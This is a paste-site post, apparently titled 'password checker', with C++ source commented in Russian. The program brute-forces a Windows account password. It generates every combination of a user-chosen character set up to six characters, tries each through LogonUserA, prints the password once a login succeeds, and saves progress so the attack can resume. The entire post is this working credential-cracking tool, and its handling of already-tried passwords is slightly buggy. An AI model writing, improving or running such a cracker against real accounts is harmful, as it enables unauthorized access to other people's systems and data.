password checker на с++ (пока не доработан 2)

2025-02-17 15:15 | Публичная
#include <iostream>
#include <string>
#include <vector>
#include <fstream>
#include <ctime>
#include <windows.h>
#include <algorithm> // Для std::binary_search и std::sort

using namespace std;
clock_t start;
// Функция для попытки входа в систему
bool attemptLogin(const string& username, const string& password) {
    HANDLE tokenHandle;
    if (LogonUserA(username.c_str(), NULL, password.c_str(), LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &tokenHandle)) {
        CloseHandle(tokenHandle);
        return true; // Успешный вход
    }
    return false; // Неудачная попытка
}

// Функция для генерации всех комбинаций заданной длины
void generateCombinations(const string& charset, int length, string prefix, const string& username, vector<string>& triedPasswords) {
    
    if (length == 0) {
        if (!binary_search(triedPasswords.begin(), triedPasswords.end(), prefix)) {
            cout << "Попытка № " << triedPasswords.size() + 1 << " для пароля: " << prefix << endl;
            if (attemptLogin(username, prefix)) {
                cout << "Успех! Пароль найден: " << prefix << endl;
                clock_t end = clock();
                double elapsed = static_cast<double>(end - start) / CLOCKS_PER_SEC;
                cout << "Поиск завершен. Общее время выполнения: " << elapsed << " секунд." << endl;
                exit(0); // Завершение программы при успешном входе
            }
            else {
                triedPasswords.push_back(prefix); // Сохраняем неудачную попытку
            }
        }
        return;
    }
    for (char c : charset) {
        generateCombinations(charset, length - 1, prefix + c, username, triedPasswords);
    }
}

// Функция для загрузки прогресса из файла
void loadProgress(int& currentLength, vector<string>& triedPasswords, const string& progressFile) {
    ifstream file(progressFile);
    if (file.is_open()) {
        string line;
        while (getline(file, line)) {
            if (line.find("length:") == 0) {
                currentLength = stoi(line.substr(7));
            }
            else if (line.find("password:") == 0) {
                triedPasswords.push_back(line.substr(9));
            }
        }
        file.close();
    }
}

// Функция для сохранения прогресса в файл
void saveProgress(int currentLength, const vector<string>& triedPasswords, const string& progressFile) {
    ofstream file(progressFile);
    if (file.is_open()) {
        file << "length: " << currentLength << endl;
        for (const string& password : triedPasswords) {
            file << "password: " << password << endl;
        }
        file.close();
    }
}

int main() {
    
    setlocale(LC_ALL, "Rus");
    string username, charset, progressFile = "progress.txt";
    int minLength = 1, maxLength = 6; // Минимальная и максимальная длина пароля
    vector<string> triedPasswords; // Список уже проверенных паролей
    int currentLength = minLength; // Текущая длина пароля

    // Начало таймера (перемещено в начало)
    

    // Загрузка прогресса
    loadProgress(currentLength, triedPasswords, progressFile);

    // Ввод имени пользователя
    cout << "Введите имя учетной записи: ";
    cin >> username;

    // Ввод набора символов для генерации паролей
    cout << "Введите символы для генерации паролей (например, abc123!@#): ";
    cin >> charset;
    start = clock();
    // Сортировка уже проверенных паролей для быстрого поиска
    sort(triedPasswords.begin(), triedPasswords.end());

    // Генерация и проверка паролей
    for (int i = currentLength; i <= maxLength; ++i) {
        generateCombinations(charset, i, "", username, triedPasswords);
        saveProgress(i + 1, triedPasswords, progressFile); // Сохранение прогресса после каждой длины
    }

    // Окончание таймера
    

    // Вывод времени выполнения
    

    return 0;
}
Вернуться ко Всем Вставкам
Открыть чат
Чат с Send-Code AI Закрыть чат